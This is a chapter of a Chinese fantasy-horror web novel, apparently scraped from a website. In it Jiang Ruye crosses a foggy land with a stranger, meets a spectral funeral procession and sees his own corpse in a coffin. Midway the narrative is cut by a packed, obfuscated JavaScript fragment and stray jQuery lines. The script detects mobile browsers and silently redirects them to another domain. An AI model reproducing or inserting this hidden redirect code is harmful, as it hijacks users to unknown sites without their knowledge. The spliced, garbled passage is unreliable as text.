男人往前走了几步,察觉到身后的少年没有跟上来,也停下了脚步,默默地看着他,似无声催促。
此间雾浓得只要走出几步外就要看不清人影了,江如野总觉得一晃神前面的人就会消失得无影无踪,像是这里一直都只有自己孤身一人。
江如野不敢细想,连忙快步跟上。
男人明显在等他,见他来到身侧后,浓雾中那道模糊的身影转过身,转身往前走。
说来奇怪,这里一切都模模糊糊的,但那群沉默静立的送葬队伍和中间敞着口的空棺材却能清晰无比地落在江如野眼中。
距离越来越近,死寂不祥的陈腐味道越来越浓。江如野呼吸明显有些乱了,恐惧不由分说地一点点攫住了他的全部心神,几乎是机械地跟着人往前走。
他强作镇定,偏头去看一旁的男人。雾里眼前人看不清具体相貌模样,只余一个朦胧的高挑背影,给人一种莫名的安心感。
不论对方是何身份,幸好此刻并不是只有他自己一人。
随着他们走到送葬队伍面前,江如野紧绷的神经拉到极致,深吸一口气,准备从面目模糊的人群中穿过。
即将擦身而过的瞬间,江如野余光感觉棺材里面好像突然躺了个人,没忍住微偏过头投去目光。
他对上了棺木中一双渗血的眼睛。
眼眸又黑又沉,直勾勾地转过来,仿佛一直在背后无声地注视着他。
——像是傅问的眼睛。
浑身血液霎时涌到头顶,江如野猛地停住步子,险些惊呼出声。
“怎么了?”身旁男人问。
这一声一下子把江如野唤得回过神来。他凝神看去,棺木中分明空无一人,没有傅问,也没有什么诡异渗血的眼睛。
江如野大口喘着气,手都在颤抖。
“你还好吗?”那人问。
“我没事。”江如野想也没想就道。
待到狂跳的心脏稍微平复下来,江如野发现整支送葬队伍凭空从眼前消失了,白纸灯笼幽幽飘荡,顺着黯淡诡异的绿光看去,竟是无声地转移到了几里外的浓雾中。
怎会如此?
江如野拧起眉:“我们继续往前吧。”
那人“嗯”了一声,却没动。江如野刚想问对方为什么不走了,突然反应过来自己好像抓着什么东西。
布料下的皮肤传来温热的触感,线条流畅,劲瘦有力——自己刚才竟是下意识地就握住了身边人的手臂,而对方也不躲,就这样任由自己抓了半天。
热意霎时涌上脸颊,江如野连忙松手,磕巴了半天,终于挤出一句抱歉。
“无事。”那人依旧是一副淡然态度,直到两人继续往外走出一段距离,那人才问道,“你怕鬼?”
“当然不怕。”江如野立马道,“区区邪祟,有何可惧?”
对方不置可否,只是道:“每个人都有怕的东西,这没什么难以启齿的。”
明显是不信了。
江如野不服气地要张嘴狡辩,看着身侧模糊的身影,又把话咽了回去。
对方说话冷冷淡淡的,却透着隐约的宽慰意味。
江如野无端想起了傅问那声“阿宁”。
傅问很少这么叫他,大多是语气严肃地连名带姓,以至于每次江如野一听,都会下意识严阵以待,感觉下一瞬便是劈头盖脸的一顿训斥在等着自己。在他的记忆中,能见到傅问如此柔和一面的,还是幼时被邪祟吓得魂不守舍的时候。
很奇怪,许多坏习惯傅问都不会惯着,唯有这个,傅问从来没有强硬要求他改过。
行医之时,任何荒野僻径都是有可能经过的,他自小也算是跟着傅问走过漱玉谷外大半地方,可每当夜里走路时,仍旧会紧张害怕。
任何异响都会让小江如野倒抽一口冷气,脸色发白,瞪大了眼睛巡视着周围,一片被风吹动的树叶影子都能让他吓得一抖,整个身子都贴在傅问身侧,受惊的兔子般紧紧攥着身边人衣角。
每当这时,往日冷淡不近人情的人都会无奈地叹口气,指节修长的手掌牵起他的手,掌心干燥温暖,让清冷的嗓音都染上了柔和的温度:“为师在这里,不用怕。”
傅问……
江如野总会翻来覆去地想那日从对方身上流露出来的温情,还有自己沉默时,对方那黯淡下去的眼神。
就这样怀揣着心事一路前行。
在迷雾中穿行很容易让人丧失对时间和空间的感知,江如野有好几次分明看到他们就要走到那支送葬队伍前面了,一晃眼间他们又出现在了几丈外,就像他们一直在原地踏步,无论如何都走不出这片迷雾。
陌生男人一直都保持在一个距离江如野不远不近的距离,偶尔对江如野的话应上两句。
“我觉得不能再一直这样走下去了。”在又一次快要接近前方的送葬队伍时,江如野开口道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495712|185933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他已经有些适应,不像开始那样一见到就心里发毛,主动提议道:“那支送葬队伍有古怪,我们还是要想办法靠近去看看。”
“好。”男人应道。
身侧的雾气似乎又更浓了,江如野觉得对方的话音又模糊了一些。
惨绿的白纸灯笼仍旧幽幽地飘在前面开道,唢呐吹打声越来越大,喜庆得有些诡异。
江如野定了定神,再次往那口停着的空棺走去。
像是察觉到他的心意一般,这次送葬队伍没有再次倏忽不见,而是如一开始那般安静地停在原地。江如野忍着恐惧目不斜视地从穿着寿衣的人群中穿过,来到棺材旁边。
暗红漆画还是和刚才一样,分毫不差,江如野仔仔细细地看了一圈,试图从上面找到阵法符咒之类的线索。
然而忙绿了半晌,江如野终于意识到一直都只有自己一个人在干活,回身一看,对方仍旧站在几步开外,没有要过来帮忙的意思。
“怎么一直站在那里?”
毫无反应。
江如野皱了皱眉,几步走过去,站定在对方面前问:“你怎么了?”
仍旧毫无反应。
江如野站在一群垂着头、身穿寿衣的人中间,心里又渐渐涌上了几分害怕,一咬牙,低低地道了声得罪,抬起手腕直接抓住了对方的小臂。
肌肤接触的刹那,江如野就发现掌下的皮肤冰凉得刺骨,触感还略带着几分僵硬……就像已经死了很久的人一样。
江如野心头大惊,猛地抬头看去。
遮盖面容的浓雾突然散去,江如野猝不及防地对上了一张鬼气森森的脸。
那眼珠大得诡异,咧开嘴一笑,就有暗红色的血迹从青白的唇边溢出。
对方盯着他,咯咯笑道:“你是在找我吗?”
江如野直接被吓得飙出了一句脏话,立即撤手飞身后掠,然而对方的动作比他更快,冰冷僵硬的手掌翻手抓住了他的手腕,猛地把他往后一推!
后腰被用力搡上身后的棺材,极度的紧张下江如野都感觉不到任何疼痛。他下意识地要远离,身后棺材里却同时伸出了一只手死死地钳住了他,诡异的笑声变成从身后传来。
空荡荡的棺材里不知何时躺了个人。
同样一身寿衣,一手搭在腹部,和衣躺着,鲜红的嘴角咧得大大的,浓稠得像两个空洞一样的眼睛盯着江如野,江如野定睛一看,赫然就是他自己!